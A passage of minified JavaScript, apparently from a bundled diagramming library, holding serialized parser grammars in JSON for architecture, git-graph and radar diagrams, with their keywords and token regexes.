unctions","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Assignment","feature":"edges","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"LeftPort","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":":"},{"$type":"Assignment","feature":"lhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"RightPort","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"rhsDir","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}},{"$type":"Keyword","value":":"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Arrow","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Assignment","feature":"lhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"--"},{"$type":"Group","elements":[{"$type":"Keyword","value":"-"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]}},{"$type":"Keyword","value":"-"}]}]},{"$type":"Assignment","feature":"rhsInto","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Group","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"group"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]},"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Service","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"service"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"iconText","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]}},{"$type":"Assignment","feature":"icon","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@28"},"arguments":[]}}],"cardinality":"?"},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@29"},"arguments":[]},"cardinality":"?"},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Junction","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"junction"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"in"},{"$type":"Assignment","feature":"in","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Edge","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"lhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"lhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Assignment","feature":"rhsId","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Assignment","feature":"rhsGroup","operator":"?=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"ARROW_DIRECTION","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"L"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"R"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"T"}}]},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"B"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_GROUP","definition":{"$type":"RegexToken","regex":"/\\\\{group\\\\}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARROW_INTO","definition":{"$type":"RegexToken","regex":"/<|>/"},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@18"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@19"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"ARCH_ICON","definition":{"$type":"RegexToken","regex":"/\\\\([\\\\w-:]+\\\\)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ARCH_TITLE","definition":{"$type":"RegexToken","regex":"/\\\\[[\\\\w ]+\\\\]/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"ArchitectureGrammar"),kje=Tt(()=>qme??(qme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"GitGraph","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"GitGraph","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"Keyword","value":":"}]},{"$type":"Keyword","value":"gitGraph:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"gitGraph"},{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]},{"$type":"Keyword","value":":"}]}]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"Assignment","feature":"statements","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Statement","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Direction","definition":{"$type":"Assignment","feature":"dir","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"LR"},{"$type":"Keyword","value":"TB"},{"$type":"Keyword","value":"BT"}]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Commit","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"commit"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"msg:","cardinality":"?"},{"$type":"Assignment","feature":"message","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Branch","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"branch"},{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Group","elements":[{"$type":"Keyword","value":"order:"},{"$type":"Assignment","feature":"order","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}}],"cardinality":"?"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Merge","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"merge"},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"type:"},{"$type":"Assignment","feature":"type","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"NORMAL"},{"$type":"Keyword","value":"REVERSE"},{"$type":"Keyword","value":"HIGHLIGHT"}]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Checkout","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"checkout"},{"$type":"Keyword","value":"switch"}]},{"$type":"Assignment","feature":"branch","operator":"=","terminal":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@24"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"CherryPicking","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"cherry-pick"},{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Keyword","value":"id:"},{"$type":"Assignment","feature":"id","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"tag:"},{"$type":"Assignment","feature":"tags","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"parent:"},{"$type":"Assignment","feature":"parent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@14"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"REFERENCE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\\\w([-\\\\./\\\\w]*[-\\\\w])?/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"GitGraphGrammar"),Eje=Tt(()=>Wme??(Wme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Radar","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Radar","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":"radar-beta:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":":"}]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},{"$type":"Group","elements":[{"$type":"Keyword","value":"axis"},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"curve"},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Label","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"["},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]}},{"$type":"Keyword","value":"]"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Axis","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Curve","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"},{"$type":"Keyword","value":"{"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Keyword","value":"}"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Entries","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"DetailedEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"axis","operator":"=","terminal":{"$type":"CrossReference","type":{"$ref":"#/rules@2"},"terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"deprecatedSyntax":false}},{"$type":"Keyword","value":":","cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"NumberEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Option","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"showLegend"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"ticks"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"max"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"min"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"graticule"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hid